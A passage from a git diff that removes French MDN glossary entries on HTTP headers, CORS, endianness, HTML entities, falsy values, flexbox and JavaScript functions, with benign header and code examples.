diff --git "a/files/fr/glossaire/en-t\303\252te_de_requ\303\252te/index.html" "b/files/fr/glossaire/en-t\303\252te_de_requ\303\252te/index.html" deleted file mode 100644 index 613e412700..0000000000 --- "a/files/fr/glossaire/en-t\303\252te_de_requ\303\252te/index.html" +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: En-tête de requête -slug: Glossaire/En-tête_de_requête -tags: - - En-têtes - - Glossaire - - HTTP - - Mécanismes web -translation_of: Glossary/Request_header ---- -

Un en-tête de requête est un {{glossary("header","en-tête HTTP")}} qui peut être utilisé dans une requête HTTP et ne concerne pas le contenu du message. Les en-têtes de requête, comme {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language", "Accept-*")}} ou {{HTTPHeader("If-Modified-Since","If-*")}}, permettent d'effectuer des requêtes conditionnelles ; d'autres comme {{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}} ou {{HTTPHeader("Referer")}} précisent le contexte pour que le serveur adapte la réponse.

- -

Tous les en-têtes apparaissant dans une requête ne sont pas des en-têtes de requête. Par exemple, l'en-tête {{HTTPHeader("Content-Length")}} apparaissant dans une requête {{HTTPMethod("POST")}} est en fait un {{glossary("entity header","en-tête d'entité")}} faisant référence à la taille du corps du message de requête. Cependant, ces en-têtes d'entité sont souvent appelés en-têtes de requête dans un tel contexte.

- -

De plus, CORS définit un sous-ensemble d'en-têtes de requête comme {{glossary('simple header','en-têtes simples')}}, en-têtes de requêtes qui sont toujours considérés comme autorisés et non listés explicitement dans les réponses des requêtes de {{glossary("preflight request", "contrôle")}}.

- -

Quelques en-têtes de requêtes après une requête {{HTTPMethod("GET")}} :

- -
GET /home.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/testpage.html
-Connection: keep-alive
-Upgrade-Insecure-Requests: 1
-If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
-If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
-Cache-Control: max-age=0
- -

À strictement parler, l'en-tête {{HTTPHeader("Content-Length")}} dans cet exemple n'est pas un en-tête de requête comme les autres, mais un {{glossary("entity header","en-tête d'entité")}} :

- -
POST /myform.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Content-Length: 128
-
- -

En apprendre plus

- -

Savoir technique

- - diff --git "a/files/fr/glossaire/en-t\303\252te_de_r\303\251ponse_simple/index.html" "b/files/fr/glossaire/en-t\303\252te_de_r\303\251ponse_simple/index.html" deleted file mode 100644 index cc3200ba7b..0000000000 --- "a/files/fr/glossaire/en-t\303\252te_de_r\303\251ponse_simple/index.html" +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: En-tête de réponse simple -slug: Glossaire/En-tête_de_réponse_simple -tags: - - En-têtes - - Glossaire - - HTTP -translation_of: Glossary/Simple_response_header ---- -

Un en-tête de réponse simple (ou un en-tête de réponse sécurisé CORS) est un en-tête HTTP qui a été sécurisé pour ne pas être filtré lorsque les réponses sont traitées par CORS, car elles sont considérées comme sûres (comme les en-têtes listés dans {{HTTPHeader("Access-Control-Expose-Headers")}}). Par défaut, la liste des réponses sûres inclut les en-têtes de réponse suivants :

- -
    -
  • {{HTTPHeader("Cache-Control")}}
    • -
  • {{HTTPHeader("Content-Language")}}
    • -
  • {{HTTPHeader("Content-Type")}}
    • -
  • {{HTTPHeader("Expires")}}
    • -
  • {{HTTPHeader("Last-Modified")}}
    • -
  • {{HTTPHeader("Pragma")}}
    • -
- -

Exemples

- -

Extension de la liste des en-têtes sécurisés

- -

Vous pouvez étendre la liste des en-têtes de réponse sécurisés CORS en utilisant l'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} :

- -
Access-Control-Expose-Headers: X-Custom-Header, Content-Length
- -

En apprendre plus

- -
    -
  • HTTP
    • -
  • En-têtes HTTP
    • -
  • {{HTTPHeader("Access-Control-Expose-Headers")}}
    • -
  • {{Glossary("CORS")}}
    • -
  • {{Glossary("Simple header","En-tête simple")}}
    • -
  • {{Glossary("Forbidden header name","Noms d'en-tête interdits")}}
    • -
  • {{Glossary("Request header","En-tête de requête")}}
    • -
diff --git "a/files/fr/glossaire/en-t\303\252te_entit\303\251/index.html" "b/files/fr/glossaire/en-t\303\252te_entit\303\251/index.html" deleted file mode 100644 index 1e5ff004a5..0000000000 --- "a/files/fr/glossaire/en-t\303\252te_entit\303\251/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: En-tête d'entité -slug: Glossaire/En-tête_entité -tags: - - Glossaire - - Mécanismes web -translation_of: Glossary/Entity_header ---- -

Un en-tête d'entité est un {{glossary("header","en-tête HTTP")}} décrivant le contenu du corps du message. Les en-têtes d'entité sont utilisés à la fois dans les requêtes et les réponses HTTP. Des en-têtes tels que {{HTTPHeader("Content length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}} sont des en-têtes d'entité.

- -

Même si les en-têtes d'entité ne sont ni des en-têtes de requête, ni des en-têtes de réponse, ils sont souvent inclus avec ces modalités.

- -

Dans l'exemple suivant, {{HTTPHeader("Content-Length")}} est un en-tête d'entité, tandis que {{HTTPHeader("Host")}} et {{HTTPHeader("User-Agent")}} sont des {{glossary("Request header","en-têtes de requête")}} :

- -
POST /myform.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Content-Length: 128
- -

En apprendre plus

- -

Connaissance technique

- - diff --git "a/files/fr/glossaire/en-t\303\252te_simple/index.html" "b/files/fr/glossaire/en-t\303\252te_simple/index.html" deleted file mode 100644 index f65b20bf84..0000000000 --- "a/files/fr/glossaire/en-t\303\252te_simple/index.html" +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: En-tête simple -slug: Glossaire/En-tête_simple -tags: - - CORS - - En-têtes - - Glossaire - - HTTP -translation_of: Glossary/Simple_header ---- -

Un en-tête simple (ou en-tête de requête sécurisé CORS) est l'un des en-têtes HTTP suivants :

- -
    -
  • {{HTTPHeader("Accept")}},
    • -
  • {{HTTPHeader("Accept-Language")}},
    • -
  • {{HTTPHeader("Content-Language")}},
    • -
  • {{HTTPHeader("Content-Type")}} avec un type MIME de sa valeur analysée (ignorant les paramètres) et l'un des application/x-www-form-urlencoded, multipart/form-data ou text/plain.
    • -
- -

Ou l'un de ces en-têtes d'indication de client :

- -
    -
  • {{HTTPHeader("DPR")}}
    • -
  • {{HTTPHeader("Downlink")}}
    • -
  • {{HTTPHeader("Save-Data")}}
    • -
  • {{HTTPHeader("Viewport-Width")}}
    • -
  • {{HTTPHeader("Width")}}
    • -
- -

Lorsqu'elles ne contiennent que de simples en-têtes, les requêtes sont réputées simples et n'ont pas besoin d'envoyer une {{glossary("preflight request","requête de pré-vérification")}} dans le contexte de CORS.

- -

En apprendre plus

- -
    -
  • En-têtes HTTP
    • -
  • {{Glossary("Simple response header","En-tête de réponse simple")}}
    • -
  • {{Glossary("Forbidden header name","Nom d'en-tête interdit")}}
    • -
  • {{Glossary("Request header","En-tête de requête")}}
    • -
diff --git "a/files/fr/glossaire/en-t\303\252tes_de_r\303\251ponse/index.html" "b/files/fr/glossaire/en-t\303\252tes_de_r\303\251ponse/index.html" deleted file mode 100644 index e153de28ba..0000000000 --- "a/files/fr/glossaire/en-t\303\252tes_de_r\303\251ponse/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: En-tête de réponse -slug: Glossaire/En-têtes_de_réponse -tags: - - En-têtes - - Glossaire - - HTTP - - Mécanismes web -translation_of: Glossary/Response_header ---- -

Un en-tête de réponse est un {{glossary("header","en-tête HTTP")}} qui peut être utilisé dans une réponse HTTP et qui ne concerne pas le contenu du message. Les en-têtes de réponse comme {{HTTPHeader("Age")}}, {{HTTPHeader("Location")}} ou {{HTTPHeader("Server")}} sont utilisés pour donner un contexte plus détaillé de la réponse.

- -

Tous les en-têtes apparaissant dans une réponse ne sont pas des en-têtes de réponse. Par exemple, l'en-tête {{HTTPHeader("Content-Length")}} est un {{glossary("Entity header","en-tête d'entité")}} faisant référence à la taille du coprs du message de requête. Cependant, ces requêtes d'entité sont généralement appelées en-têtes de réponses dans un tel contexte.

- -

Le code suivant montre quelques en-têtes de réponse après une requête {{HTTPMethod("GET")}}. Notez qu'à strictement parler, les en-têtes {{HTTPHeader("Content-Encoding")}} et {{HTTPHeader("Content-Type")}} sont des {{glossary("Entity header","en-têtes d'entité")}} :

- -
200 OK
-Access-Control-Allow-Origin: *
-Connection: Keep-Alive
-Content-Encoding: gzip
-Content-Type: text/html; charset=utf-8
-Date: Mon, 18 Jul 2016 16:06:00 GMT
-Etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a"
-Keep-Alive: timeout=5, max=997
-Last-Modified: Mon, 18 Jul 2016 02:36:04 GMT
-Server: Apache
-Set-Cookie: mykey=myvalue; expires=Mon, 17-Jul-2017 16:06:00 GMT; Max-Age=31449600; Path=/; secure
-Transfer-Encoding: chunked
-Vary: Cookie, Accept-Encoding
-X-Backend-Server: developer2.webapp.scl3.mozilla.com
-X-Cache-Info: not cacheable; meta data too large
-X-kuma-revision: 1085259
-x-frame-options: DENY
- -

En apprendre plus

- -

Savoir technique

- - diff --git a/files/fr/glossaire/encapsulation/index.html b/files/fr/glossaire/encapsulation/index.html deleted file mode 100644 index 629bf76d1e..0000000000 --- a/files/fr/glossaire/encapsulation/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Encapsulation -slug: Glossaire/Encapsulation -tags: - - Encodage - - Glossaire -translation_of: Glossary/Encapsulation ---- -

L'encapsulation consiste à inclure des données et des {{glossary("Function","fonctions")}} dans un composant (par exemple une {{glossary("Class","classe")}}) et ensuite de contrôler l'accès à celui-ci pour réaliser une "boîte noire" hors de l'{{glossary("Object","objet")}}. De cette façon, un utilisateur de cette classe n'aurait besoin de connaître que son interface (autrement dit, les données et les fonctions exposées en dehors de la classe), et pas son implémentation qui reste donc cachée.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/endianness/index.html b/files/fr/glossaire/endianness/index.html deleted file mode 100644 index 7ef388d3b2..0000000000 --- a/files/fr/glossaire/endianness/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Endianness -slug: Glossaire/Endianness -tags: - - Codage - - Encodage - - Glossaire -translation_of: Glossary/Endianness ---- -

"Endian" et "endianness" (ou "ordre des octets") désigne la manière dont les ordinateurs organisent les octets pour constituer des nombres.

- -

Chaque emplacement de stockage en mémoire dispose d'un index ou adresse. Un octet pouvant stocker une valeur de 8 bits (i.e. compris entre 0x00 et 0xff), il faut en réserver davantage pour enregistrer des nombres plus grands. L'ordre le plus utilisé pour composer des nombres sur plusieurs octets est de loin le little-endian qui est utilisé sur tous les processeurs Intel. Little-endian signifie que le stockage des octets se fait du moins important au plus important (où l'octet le moins important prend la première adresse ou la plus basse), ce qui est comparable à la façon habituelle en Europe d'écrire les dates (e.g., 31 décembre 2050).

- -

Naturellement, big-endian est l'ordre opposé, similaire à une date au format ISO (2050-12-31). Big-endian est aussi souvent appelé "ordre d'octet du réseau" car les standards internet ont généralement besoin des données dans cet ordre, en commençant au niveau socket UNIX standard et en continuant avec les structures de données Web binaires standardisées. De plus, les anciens ordinateurs Mac utilisaient des microprocesseurs 680x0 ou PowerPC qui étaient big-endian.

- -

Exemples avec le nombre 0x12345678 (i.e. 305 419 896 en décimal) :

- -
    -
  • little-endian :  0x78 0x56 0x34 0x12
    • -
  • big-endian : 0x12 0x34 0x56 0x78
    • -
  • mixed-endian (dans le passé et très rare) : 0x34 0x12 0x78 0x56
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("DataView")}}
    • -
  • Tableaux typés
    • -
  • {{Interwiki("wikipedia", "Endianness")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/engine/index.html b/files/fr/glossaire/engine/index.html deleted file mode 100644 index 8c8e60d10f..0000000000 --- a/files/fr/glossaire/engine/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Moteur -slug: Glossaire/Engine -tags: - - Encodage - - Glossaire -translation_of: Glossary/Engine ---- -

Le moteur {{glossary("JavaScript")}} est un interpréteur qui analyse et exécute un programme JavaScript.

- -

Plus d'informations

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Moteur JavaScript")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/entity/index.html b/files/fr/glossaire/entity/index.html deleted file mode 100644 index ddc1d102e0..0000000000 --- a/files/fr/glossaire/entity/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Entité -slug: Glossaire/Entity -tags: - - Composition - - Encodage - - Glossaire - - HTML -translation_of: Glossary/Entity ---- -

Une entité {{glossary("HTML")}} est une chaîne de texte (string) qui commence par (&) et se termine avec (;). Les entités sont fréquemment utilisées pour afficher des caractères réservés (qui seraient autrement interprétés comme du code HTML) et des caractères invisibles (comme des espaces insécables). Vous pouvez également les utiliser à la place d'autres caractères difficiles à taper avec un clavier standard.

- -

De nombreux caractères sont des entités mnémoniques. Par exemple, l'entité pour le copyright symbole (©) est &copy;. Pour les caractères non mémorisables, comme &#8212; ou  &#x2014; , vous pouvez utiliser un  tableau de référence ou un outil décodeur.

- -

Caractères réservés

- -

Certains caractères spéciaux sont réservés pour une utilisation en HTML, ce qui signifie que votre navigateur les analysera en tant que code HTML. Par exemple, si vous utilisez le signe inférieur (<), le navigateur interprète tout texte qui suit comme une {{Glossary("Tag","balise")}}.

- -

Pour afficher ces caractères comme texte, il faut les remplacer par l'entité de caractère correspondante, comme montrée dans le tableau suivant :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CaractèreEntitéRemarque
&&amp;Interprété comme le début d'une référence d'entité ou de caractère.
<&lt;Interprété comme le début d'une {{Glossary("Tag","balise")}}
>&gt;Interprété comme la fin d'une {{Glossary("Tag","balise")}}
"&quot;Interprété comme le début et la fin d'une valeur d'{{Glossary('Attribute','attributs')}}
- -

En apprendre plus

- -

Référence technique

- - diff --git a/files/fr/glossaire/environnement_de_document/index.html b/files/fr/glossaire/environnement_de_document/index.html deleted file mode 100644 index 41dced204e..0000000000 --- a/files/fr/glossaire/environnement_de_document/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Environnement de document -slug: Glossaire/Environnement_de_document -tags: - - Document - - Environnement - - Glossaire - - JavaScript -translation_of: Glossary/document_environment ---- -

Lorsque l'environnement global JavaScript est une fenêtre ou un cadre iframe, il s'appelle un environnement de document. Un environnement global est un environnement qui n'a pas d'environnement extérieur.

- -

En apprendre plus

- -

Référence technique

- - diff --git a/files/fr/glossaire/exception/index.html b/files/fr/glossaire/exception/index.html deleted file mode 100644 index 999619693c..0000000000 --- a/files/fr/glossaire/exception/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Exception -slug: Glossaire/Exception -tags: - - Débutants - - Encodage - - Erreurs - - Glossaire -translation_of: Glossary/Exception ---- -

Une exception est un état qui interrompt l'exécution normale du code. En JavaScript, les {{glossary("syntax error", "erreurs de syntaxe")}} sont une source commune d'exceptions.

- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia", "Système de gestion d'exceptions")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/expando/index.html b/files/fr/glossaire/expando/index.html deleted file mode 100644 index 6f4dc4119b..0000000000 --- a/files/fr/glossaire/expando/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Expando -slug: Glossaire/Expando -tags: - - Encodage - - Glossaire - - JavaScript - - Référence(2) - - expando -translation_of: Glossary/Expando ---- -

Les propriétés expando sont des propriétés ajoutées aux nœuds {{glossary("DOM")}} en {{glossary("JavaScript")}} mais qui ne figurent pas dans la spécification DOM des {{glossary("Object","objets")}} :

- -
document.foo = 5; // foo est une propriété expando
- -

Le terme peut également être appliqué aux propriétés ajoutées à des objets sans respecter l'objectif original de l'objet, comme ajouter des propriétés nommées non numériques pour un {{glossary("Array","tableau")}}.

diff --git a/files/fr/glossaire/fai/index.html b/files/fr/glossaire/fai/index.html deleted file mode 100644 index c67426099d..0000000000 --- a/files/fr/glossaire/fai/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: FAI -slug: Glossaire/FAI -tags: - - FAI - - Fournisseur d'accès à Internet - - Glossaire - - Web - - WebMechanics -translation_of: Glossary/ISP ---- -

Un FAI (Fournisseur d'Accès à Internet) vend un accès à Internet, et parfois un service de messagerie, de l'hébergement web ou de la voix sur IP, soit sur une connexion commutée via une ligne téléphonique (le plus fréquent dans le passé), soit sur une connexion haut débit comme un service DSL ou avec un modem câble.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • Le fonctionnement de l'Internet (explications pour les débutants)
    • -
  • {{interwiki("wikipedia", "Fournisseur d'accès à Internet", "Fournisseur d'accès à Internet")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/falsy/index.html b/files/fr/glossaire/falsy/index.html deleted file mode 100644 index fdb5058248..0000000000 --- a/files/fr/glossaire/falsy/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Falsy (Valeurs de type fausses) -slug: Glossaire/Falsy -tags: - - Booléen - - Encodage - - Faux - - Glossaire - - Valeurs fausses -translation_of: Glossary/Falsy ---- -

Les valeurs fausses (falsy) sont des valeurs évaluées comme fausses quand elles sont évaluées dans un contexte {{Glossary("Boolean","booléen")}}.

- -

{{Glossary("JavaScript")}} utilise le type {{Glossary("Type_Conversion", "contrainte")}} dans les contextes Booléens comme les {{Glossary("Conditional", "conditions")}} et les {{Glossary("Loop", "boucles")}}.

- -

Exemples

- -

Exemples de valeurs fausses en Javascript (qui sont traduites par false (faux) et, par ce fait, court-circuitent le bloc if) :

- -
if (false)
-if (null)
-if (undefined)
-if (0)
-if (NaN)
-if ('')
-if ("")
-if (document.all) [1]
- -

[1] document.all a été utilisé par le passé pour détecter le navigateur et la spécification HTML définit une infraction délibérée aux standards ECMAScript afin de garder une compatibilité ascendante (if (document.all) { // Code Internet Explorer ici (Sauf IE11) } ou en utilisant document.all sans vérifier s'il existe d'abord : document.all.foo).

- -

Parfois écrit falsey, bien qu'en anglais, transformer un mot en adjectif avec un -y fait disparaître tout e final (noise => noisy, ice => icy, shine => shiny) .

- -

En apprendre plus

- -
    -
  • {{Glossary("Truthy")}}
    • -
  • {{Glossary("Boolean")}}
    • -
diff --git a/files/fr/glossaire/favicon/index.html b/files/fr/glossaire/favicon/index.html deleted file mode 100644 index 5cc417bffa..0000000000 --- a/files/fr/glossaire/favicon/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Favicon -slug: Glossaire/Favicon -tags: - - Glossaire - - Intro - - agent utilisateur - - favicon -translation_of: Glossary/Favicon ---- -

Un favicon (icône de favori) est une petite icône incluse avec un site Web, qui s'affiche à des endroits tels que la barre d'addresse du navigateur, les onglets de page et le menu des signets. Notez cependant que la plupart des navigateurs modernes ont remplacé le favicon de la barre d'adresse par une image indiquant si le site Web utilise ou non {{Glossary("https","HTTPS")}}.

- -

Habituellement, un favicon mesure 16 x 16 pixels et est stocké au format de fichier {{Glossary("GIF")}}, {{Glossary("PNG")}}, ou ICO.

- -

Ils sont utilisés pour améliorer l'expérience utilisateur et renforcer la cohérence de la marque. Lorsqu'une icône familière apparaît dans la barre d'adresse du navigateur, par exemple, elle aide les utilisateurs à savoir qu'ils sont au bon endroit.

- - diff --git a/files/fr/glossaire/fermeture/index.html b/files/fr/glossaire/fermeture/index.html deleted file mode 100644 index 37e9e918a7..0000000000 --- a/files/fr/glossaire/fermeture/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Fermeture -slug: Glossaire/Fermeture -tags: - - Encodage - - Glossaire -translation_of: Glossary/Closure ---- -

La contrainte qui définit la {{glossary("scope","portée")}} d'exécution. En {{glossary("JavaScript")}}, les {{glossary("function","fonctions")}} créent un contexte de fermeture.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Fermeture (informatique)", "Fermeture")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/firefox_os/index.html b/files/fr/glossaire/firefox_os/index.html deleted file mode 100644 index 141b9c9eb2..0000000000 --- a/files/fr/glossaire/firefox_os/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Firefox OS -slug: Glossaire/Firefox_OS -tags: - - Firefox OS - - Glossaire - - Infrastructure - - Introduction -translation_of: Glossary/Firefox_OS ---- -

Résumé

- -

Firefox OS est le système d'exploitation mobile de Mozilla, basé sur Linux et le puissant moteur de rendu {{glossary("Gecko")}} de {{glossary("Mozilla Firefox","Firefox")}} . Firefox OS se compose principalement de {{glossary("Gaia")}}, {{glossary("Gecko")}} et {{glossary("Gonk")}}.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Firefox_OS")}} sur Wikipedia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/first_contentful_paint/index.html b/files/fr/glossaire/first_contentful_paint/index.html deleted file mode 100644 index 165702c2cc..0000000000 --- a/files/fr/glossaire/first_contentful_paint/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: First contentful paint -slug: Glossaire/First_contentful_paint -tags: - - Glossaire - - Performance - - Performance Web - - Reference -translation_of: Glossary/First_contentful_paint ---- -

First Contentful Paint (FCP) est lorsque le navigateur rend le premier bit de contenu du DOM, fournissant le premier retour à l'utilisateur que la page est en cours de chargement. La question "Est-ce que ça se passe?" est "oui" lorsque la première peinture contentieuse est terminée.

- -

L'horodatage First Contentful Paint correspond au premier rendu par le navigateur d'un texte, d'une image (y compris les images d'arrière-plan), d'un canevas non blanc ou d'un SVG. Cela exclut tout contenu des iframes, mais inclut le texte avec des polices Web en attente. C'est la première fois que les utilisateurs peuvent commencer à consommer du contenu de page.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/first_meaningful_paint/index.html b/files/fr/glossaire/first_meaningful_paint/index.html deleted file mode 100644 index 33638d5b3f..0000000000 --- a/files/fr/glossaire/first_meaningful_paint/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: First Meaningful Paint -slug: Glossaire/first_meaningful_paint -tags: - - Glossaire - - Performance Web - - Reference -translation_of: Glossary/first_meaningful_paint ---- -

First Meaningful Paint (FMP) est la peinture après laquelle le plus grand changement de mise en page au-dessus du pli s'est produit et les polices Web se sont chargées. C'est quand la réponse à "Est-ce utile?" devient "oui", lors de la première finition significative de la peinture.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/flex/index.html b/files/fr/glossaire/flex/index.html deleted file mode 100644 index e4b4d8b0f8..0000000000 --- a/files/fr/glossaire/flex/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Flex -slug: Glossaire/Flex -tags: - - CSS - - Flex - - Glossaire -translation_of: Glossary/Flex ---- -

flex est une nouvelle valeur ajoutée à la propriété CSS {{cssxref("display")}}. De même qu'inline-flex, elle transforme l'élément auquel elle s'applique en un {{glossary("Flex Container","conteneur flexible")}} et les enfants de l'élément en {{glossary("Flex Item","éléments flexible")}}. Les éléments participent alors à la mise en page flexible, et toutes les propriétés définies dans le module de mise en page de boîte flexible CSS peuvent être appliquées.

- -

La propriété flex est un raccourci pour les propriétés flex-grow, flex-shrink et flex-basis.

- -

De plus <flex> peut se référer à une longueur flexible dans une grille de mise en page CSS.

- -

En apprendre plus

- -

Références de la propriété

- -
-
    -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("flex")}}
    • -
  • {{cssxref("flex-basis")}}
    • -
  • {{cssxref("flex-direction")}}
    • -
  • {{cssxref("flex-flow")}}
    • -
  • {{cssxref("flex-grow")}}
    • -
  • {{cssxref("flex-shrink")}}
    • -
  • {{cssxref("flex-wrap")}}
    • -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("order")}}
    • -
-
- -

En lire plus

- - diff --git a/files/fr/glossaire/flex_container/index.html b/files/fr/glossaire/flex_container/index.html deleted file mode 100644 index 90496bbcbe..0000000000 --- a/files/fr/glossaire/flex_container/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Conteneur flexible -slug: Glossaire/Flex_Container -tags: - - CSS - - Glossaire - - flexbox -translation_of: Glossary/Flex_Container ---- -

Une mise en page {{glossary("flexbox")}} est définie en utilisant les valeurs flex ou inline-flex de la propriété display sur l'élément parent. Cet élément devient alors un conteneur flexible et chacun de ses enfants un {{glossary("flex item","élément flexible")}}.

- -

Une valeur flex fait que l'élément devient un conteneur flexible de niveau bloc et inline-flex, un conteneur flexible de niveau en ligne. Ces valeurs créent un contexte de mise en forme flexible pour l'élément, qui est similaire à un contexte de mise en forme de bloc dans la mesure où les flottants ne s'introduiront pas dans le conteneur et les marges du conteneur ne s'effondreront pas avec celles des articles.

- -

En apprendre plus

- -

Références de la propriété

- -
-
    -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("flex")}}
    • -
  • {{cssxref("flex-direction")}}
    • -
  • {{cssxref("flex-flow")}}
    • -
  • {{cssxref("flex-wrap")}}
    • -
  • {{cssxref("justify-content")}}
    • -
-
- -

En lire plus

- - diff --git a/files/fr/glossaire/flex_item/index.html b/files/fr/glossaire/flex_item/index.html deleted file mode 100644 index de302f41cc..0000000000 --- a/files/fr/glossaire/flex_item/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Éléments flexibles -slug: Glossaire/Flex_Item -tags: - - CSS - - Glossaire - - flexbox -translation_of: Glossary/Flex_Item ---- -

Les enfants directs d'un {{glossary("Flex Container","conteneur flexible")}} (éléments définis avec display: flex ou display: inline-flex) deviennent des éléments flexibles (flex items).

- -

Des passages continus de texte à l'intérieur des conteneurs flexibles deviendront également des éléments flexibles.

- -

En apprendre plus

- -

Références de la propriété

- -
-
    -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("flex-basis")}}
    • -
  • {{cssxref("flex-grow")}}
    • -
  • {{cssxref("flex-shrink")}}
    • -
  • {{cssxref("order")}}
    • -
-
- -

En lire plus

- - diff --git a/files/fr/glossaire/flexbox/index.html b/files/fr/glossaire/flexbox/index.html deleted file mode 100644 index 413b6e24ff..0000000000 --- a/files/fr/glossaire/flexbox/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Flexbox -slug: Glossaire/Flexbox -tags: - - CSS - - Glossaire - - flexbox -translation_of: Glossary/Flexbox ---- -

Flexbox (boîte flexible) est le nom communément utilisé pour le module de mise en page des boîtes flexibles CSS, un modèle de disposition pour afficher des éléments dans une seule dimension - comme une ligne ou une colonne.

- -

Dans la spécification, flexbox est décrite comme un modèle de disposition pour la conception de l'interface utilisateur. La caractéristique clé de flexbox est le fait que les articles dans une disposition flexible peuvent grandir et rétrécir. De l'espace peut être affecté aux éléments eux-mêmes ou distribué entre ou autour des éléments.

- -

Flexbox permet également l'alignement des éléments sur l'axe principal ou transversal, offrant ainsi un niveau élevé de contrôle sur la taille et l'alignement d'un groupe d'éléments.

- -

En apprendre plus

- -

Références de la propriété

- -
-
    -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("flex")}}
    • -
  • {{cssxref("flex-basis")}}
    • -
  • {{cssxref("flex-direction")}}
    • -
  • {{cssxref("flex-flow")}}
    • -
  • {{cssxref("flex-grow")}}
    • -
  • {{cssxref("flex-shrink")}}
    • -
  • {{cssxref("flex-wrap")}}
    • -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("order")}}
    • -
-
- -

En lire plus

- - diff --git a/files/fr/glossaire/fonction/index.html b/files/fr/glossaire/fonction/index.html deleted file mode 100644 index 9669e71ef3..0000000000 --- a/files/fr/glossaire/fonction/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Fonction -slug: Glossaire/Fonction -tags: - - Encodage - - Fonctions - - Glossaire - - IIFE - - Introduction - - JavaScript -translation_of: Glossary/Function ---- -

Une fonction est une portion de code qui peut être appelée par d'autres codes ou par elle-même ou par une {{Glossary("Variable","variable")}} qui se réfère à la fonction. Lorsqu'une fonction est appelée, des {{Glossary("Argument","arguments")}} lui sont généralement donnés en entrée. La fonction peut également retourner une valeur de sortie. En {{glossary("JavaScript")}}, une fonction est aussi un {{glossary("Object","objet")}}.

- -

Un nom de fonction est un {{Glossary("identifier","identifiant")}} déclaré dans le cadre d'une déclaration de fonction ou de l'expression d'une fonction. Le fait que le nom de fonction soit déclaré ou exprimé impacte la {{Glossary("Scope","portée")}} du nom de fonction.

- -

Différents types de fonctions

- -

Une fonction anonyme est une fonction sans nom de fonction :

- -
function () {};
-// ou en utilisant la notation de flèche de ECMAScript 2015
-() => {};
- -

Une fonction nommée est une fonction avec un nom de fonction :

- -
function foo() {};
-// ou en utilisant la notation de flèche de ECMAScript 2015
-const foo = () => {};
- -

Une fonction imbriquée (ou fonction interne) est une fonction à l'intérieur d'une autre fonction (square dans l'exemple suivant). Une fonction externe est une fonction qui contient une fonction (addSquares dans l'exemple suivant) :

- -
-
- -
function addSquares(a,b) {
-   function square(x) {
-      return x * x;
-   }
-   return square(a) + square(b);
-};
